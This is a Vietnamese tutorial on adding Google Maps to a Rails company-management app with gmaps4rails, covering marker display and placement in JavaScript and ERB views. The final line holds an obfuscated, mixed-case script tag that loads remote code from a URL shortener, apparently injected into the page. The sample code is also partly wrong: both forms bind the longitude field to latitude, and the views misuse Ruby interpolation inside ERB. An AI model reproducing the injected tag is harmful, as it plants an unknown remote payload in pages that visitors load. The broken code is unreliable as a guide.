Tìm hiểu Google Maps với Rails

1. Google Maps là gì?

  • Google Map là một dịch vụ ứng dụng vào công nghệ bản đồ trực tuyến trên web miễn phí được cung cấp bởi Google, hỗ trợ nhiều dịch vụ khác của Google đặc biệt là dò đường và chỉ đường; hiển thị bản đồ đường sá, các tuyến đường tối ưu cho từng loại phương tiện, cách bắt xe và chuyển tuyến cho các loại phương tiện công cộng (xe bus, xe khách ...), và những địa điểm (kinh doanh, trường học, bệnh viện, cây ATM...) trong khu vực cũng như khắp nơi trên thế giới.

  • Một số tính năng chính của google maps:

    • Thay đổi tỉ lệ bản đồ
    • Xem ảnh vệ tinh
    • Chỉ đường
    • Quan sát địa hình

** 2. Viết một ứng dụng Rails với Google Maps **

  • Ví dụ này sẽ viết một ứng dụng quản lí các công ty với các chức năng:

    • Create Company - đặt marker trên bản đồ
    • Show Company - show vị trí của Company trên bản đồ
    • Edit Company - thay đổi vị trí của Company trên bản đồ
  • Preparing the application

    Đầu tiên tạo 1 model Company đơn giản với tên và vị trí trên bản đồ.

    rails generate model Company name:string lat:decimal lng:decimal
    rake db:migrate
và tạo 1 controller với các action chúng ta cần:  index, show, new, edit
      rails generate controller companies index show new edit
Sau đó add gem [Gmaps4rails](https://github.com/apneadiving/Google-Maps-for-Rails) trong Gemfile
    gem 'gmaps4rails'
Download [Underscore.JS](http://underscorejs.org/underscore-min.js) và copy vào assets/javascripts. Sau đó add file javascript cần thiết hỗ trợ cho GoogleMaps API vào application.html.erb
    <script src="//maps.google.com/maps/api/js?v=3.13&sensor=false&libraries=geometry"></script>
    <script src="//google-maps-utility-library-v3.googlecode.com/svn/tags/markerclustererplus/2.0.14/src/markerclusterer_packed.js"></script>
  • Programming maps

    Quan trọng nhất phải tạo file javascripts logic cho bản đồ. Có 2 loại bản đồ cần viết trong ví dụ này - Đầu tiên là hiển thị vị trí company trên bản đồ (show company) và thứ 2 là chức năng đặt marker trên bản đồ để xác định vị trí Company cho phần new và edit.

    Tạo file google_maps_custom.js trong assets/javascripts folder. Chúng ta sẽ viết 2 chức năng chính là print marker và create new marker.

    Function 1(show company)

    function gmap_show(company) {
      if ((company.lat == null) || (company.lng == null) ) {    // validation check if coordinates are there
        return 0;
      }

      handler = Gmaps.build('Google');    // map init
      handler.buildMap({ provider: {}, internal: {id: 'map'}}, function(){
        markers = handler.addMarkers([    // put marker method
          {
            "lat": company.lat,    // coordinates from parameter company
            "lng": company.lng,
            "picture": {    // setup marker icon
              "url": 'http://www.planet-action.org/img/2009/interieur/icons/orange-dot.png',
              "width":  32,
              "height": 32
            },
            "infowindow": "<b>" + company.name + "</b> " + company.address + ", " + company.postal_code + " " + company.city
          }
        ]);
        handler.bounds.extendWith(markers);
        handler.fitMapToBounds();
        handler.getMap().setZoom(12);    // set the default zoom of the map
      });
    }

Function 2(new, edit company)
    function gmap_form(company) {
      handler = Gmaps.build('Google');    // map init
      handler.buildMap({ provider: {}, internal: {id: 'map'}}, function(){
        if (company && company.lat && company.lng) {    // statement check - new or edit view
          markers = handler.addMarkers([    // print existent marker
            {
              "lat": company.lat,
              "lng": company.lng,
              "picture": {
                "url": 'http://www.planet-action.org/img/2009/interieur/icons/orange-dot.png',
                "width":  32,
                "height": 32
              },
              "infowindow": "<b>" + company.name + "</b> " + company.address + ", " + company.postal_code + " " + company.city
            }
          ]);
          handler.bounds.extendWith(markers);
          handler.fitMapToBounds();
          handler.getMap().setZoom(12);
        }
        else {    // show the empty map
          handler.fitMapToBounds();
          handler.map.centerOn([52.10, 19.30]);
          handler.getMap().setZoom(6);
        }
      });

      var markerOnMap;

      function placeMarker(location) {    // simply method for put new marker on map
        if (markerOnMap) {
          markerOnMap.setPosition(location);
        }
        else {
          markerOnMap = new google.maps.Marker({
            position: location,
            map: handler.getMap()
          });
        }
      }

      google.maps.event.addListener(handler.getMap(), 'click', function(event) {    // event for click-put marker on map and pass coordinates to hidden fields in form
        placeMarker(event.latLng);
        document.getElementById("map_lat").value = event.latLng.lat();
        document.getElementById("map_lng").value = event.latLng.lng();
      });
    }
  • Allocating maps in views

    • Add action show, new, edit trong companies_controller.rb
    def show
      @company = Company.find(params[:id])
      end

      ...

      private

      def company_params
      params.require(:company).permit(:name, :lat, :lng)
      end
    end
![show.png](/uploads/7eec299b-b48a-459f-a8d6-4d48fe5a3957.png)

- Tạo view vị trí company trên bản đô:

  Edit file show.html.erb
      <h1><%= @company.name %></h1>
      <p>lat: <%= @company.lat %></p>
      <p>lat: <%= @company.lng %></p>

      <div id="map" style="width: 550px; height: 350px;"></div>

      <script type=text/javascript>
        $(document).ready(function(){
          var company = #{@company.to_json}    // pass ruby variable to javascript
          gmap_show(company);    // init show map for company card (only print marker)
        });
      </script>
  ![new.png](/uploads/45eea3bc-39fa-41c1-b8f8-e8846478edaa.png)

- Create và edit company bằng cách đặt marker lên vị trí được chọn trên bản đồ:

  Edit file new.html.erb
      <h1> Create Company </h1>
      <%= form_for @company do |f| %>
        <%= f.label :name, "Nazwa firmy" %>
        <%= f.text_field :name %>
        <div id="map" style="width: 550px; height: 350px;"></div>
        <%= f.hidden_field :lat, id: "map_lat" %>
        <%= f.hidden_field :lat, id: "map_lng" %>
        <%= f.submit "Create" %>
      <% end %>
      <script type=text/javascript>
        $(document).ready(function(){
          gmap_form(null);    // form map for new view (print nothing with possibility of put marker)
        });
      </script>
  Edit file edit.html.erb
      <h1> Create Company </h1>
      <%= form_for @company do |f| %>
        <%= f.label :name, "Company name" %>
        <%= f.text_field :name %>
        <div id="map" style="width: 550px; height: 350px;"></div>
        <%= f.hidden_field :lat, id: "map_lat" %>
        <%= f.hidden_field :lat, id: "map_lng" %>
        <%= f.submit "Update " %>
      <% end %>
      <script type=text/javascript>
        $(document).ready(function(){
          var company = #{@company.to_json}
          gmap_form(company);    // form map for new view (print nothing with possibility of put marker)
        });
      </script>
  ![edit.png](/uploads/9e11e185-8c78-438c-94ef-7746ae0999ca.png)

Tham Khảo##

Integration of Google Maps in Rails 4

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>